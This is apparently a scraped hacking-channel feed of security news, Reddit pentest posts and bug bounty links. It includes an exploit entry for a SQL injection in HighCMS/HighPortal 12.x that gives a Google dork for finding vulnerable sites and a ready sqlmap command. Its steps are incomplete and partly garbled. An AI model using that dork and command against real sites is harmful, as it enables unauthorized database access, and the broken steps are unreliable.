Exploit Collector
IpMatcher 1.0.4.1 Server-Side Request Forgery

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
HighCMS/HighPortal 12.x SQL Injection

https://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png
HighCMS/HighPortal version 12.x appears to suffer from a remote SQL injection vulnerability.

SHA-256 | 11e531f865e4da1f04161aa0a4cb5e11bbe807e029d3818481e6c9fa1d18a1e6

Download
# Exploit Title: HighCMS/HighPortal v12.x SQL Inj
# Type : WEBAPPS "HighCMS/HighPortal"
# Platform : ASP.NET
# Date : 4/23/2022
# Exploit Author : E1.Coders
# Software Link : https://aryanic.com/page/portal
# Version : v12.x
# Category : Webapps
# Tested on: Linux/Windows
# Google Dork: inurl:index.jsp?siteid=1&fkeyid=&siteid=1&pageid=

# Google Dork: <©2022

Step 1: Enter the address of the "page" that has the problem of sql injection attacks
http: //TARGET/index.jsp? Siteid = 1 & fkeyid = & siteid = 1 & pageid = 6528 Default credentials. ( is True )
STEP 2 : Send the following request "
or
Use sqlmap : python sqlmap.py -u "https://example.ir/index.jsp?siteid=1&fkeyid=&siteid=1&pageid=11211"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty от Meta Pool

Meta Pool опубликовал в своем gitBook программу Bug Bounty, в которой может участвовать любой, кто обнаружит ошибку или уязвимость в…Continue reading on Meta Pool Russia »
Read more...

How do you make writing reports more pleasant?
https://www.reddit.com/r/Pentesting/comments/uqyer1/how_do_you_make_writing_reports_more_pleasant/

Hi, I've been writing reports for a while now but I'm struggling big time. Our methodology is pretty complicated and I want to automate it. We write the vulnerabilities with Mark Down, render with pandoc into a word file, then take it and merge it with the word template. Then validate and make corrections and export it to PDF. The good part with is that we don't have to fix styles when writing it, but I'm sure there must be a better way to do it. I've researched few options but can't find a good one. I'm thinking about creating web app with a DB containing all the vulnerabilities that were used in the reports, so it will be easier to import them. Some of them for example for missing headers will only have an option to import an image with the proof of concept with previously prepared static text containing information. In other vulnerabilities that need additional writing there will be placeholders. Somehow I think my idea will take way too long, any ideas or tips will be highly appreciated. Ps. I've notice taking trashy notes slows down additionally my Reporting process. Can you suggest me on editors like one note(including images) but which you can use on both Windows and Linux? Thanks! submitted by /u/tryingtoworkatm (https://www.reddit.com/user/tryingtoworkatm)
[link] (https://www.reddit.com/r/Pentesting/comments/uqyer1/how_do_you_make_writing_reports_more_pleasant/) [comments] (https://www.reddit.com/r/Pentesting/comments/uqyer1/how_do_you_make_writing_reports_more_pleasant/)

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty от Meta Pool
https://medium.com/meta-pool-russia/bug-bounty-%D0%BE%D1%82-meta-pool-c6dd3dcc405e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Meta Pool опубликовал в своем gitBook программу Bug Bounty, в которой может участвовать любой, кто обнаружит ошибку или уязвимость в…Continue reading on Meta Pool Russia » (https://medium.com/meta-pool-russia/bug-bounty-%D0%BE%D1%82-meta-pool-c6dd3dcc405e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Me, My Digital Self, and I: Why Identity Is the Foundation of a Decentralized Future

A decentralized future is a grand ideal, but secure management of private keys is the prerequisite to ensure the integrity of decentralized applications and services.

Dark Reading: Attacks/Breaches
US Cyber Director: Forging a Cybersecurity Social Contract Is Not Optional

In a Black Hat Asia keynote fireside chat, US national cyber director Chris Inglis outlined his vision of an effective cybersecurity public-private partnership strategy.

Dark Reading: Attacks/Breaches
Critical Zyxel Firewall Bug Under Active Attack After PoC Exploit Debut

Just one day after disclosure, cyberattackers are actively going after the command-injection/code-execution vulnerability in Zyxel's gear.

___________________________
@hacking_Attack
@Hacking_Video

Free Microsoft Certification Exam with Microsoft Build Cloud Skills Challenge
https://www.reddit.com/r/redteamsec/comments/ur0efp/free_microsoft_certification_exam_with_microsoft/

submitted by /u/cybersocdm (https://www.reddit.com/user/cybersocdm)
[link] (https://cybersochacklabproject.blogspot.com/2022/05/free-microsoft-certification-exam-with.html) [comments] (https://www.reddit.com/r/redteamsec/comments/ur0efp/free_microsoft_certification_exam_with_microsoft/)

___________________________
@hacking_Attack
@Hacking_Video

API Security Offence and Defence: Introduction to API
https://www.reddit.com/r/redteamsec/comments/ur0foj/api_security_offence_and_defence_introduction_to/

submitted by /u/cybersocdm (https://www.reddit.com/user/cybersocdm)
[link] (https://youtube.com/watch?v=5EMkuG7QMOM&feature=share) [comments] (https://www.reddit.com/r/redteamsec/comments/ur0foj/api_security_offence_and_defence_introduction_to/)

___________________________
@hacking_Attack
@Hacking_Video

Open Source Intelligence (OSINT)
https://www.reddit.com/r/redteamsec/comments/ur0hgh/open_source_intelligence_osint/

submitted by /u/cybersocdm (https://www.reddit.com/user/cybersocdm)
[link] (https://youtube.com/playlist?list=PLHveG9B0-uTW7w0iWIrToTvthlN7eIrVU) [comments] (https://www.reddit.com/r/redteamsec/comments/ur0hgh/open_source_intelligence_osint/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
“Hacking Kubernetes: Threat Driven Analysis and Defense” Chapter 1 Notes

https://cdn-images-1.medium.com/max/1125/1*3OHJQiOg6U-VX7IXdS0k7w.jpeg
Prefer videos over articles? Check out the video book review here

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Europa acuerda adoptar la nueva directiva NIS2 destinada a fortalecer la ciberseguridad

https://cdn-images-1.medium.com/max/997/0*hKGff6WbCtFtpjMU
PUBLICADO EN 16 MAYO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video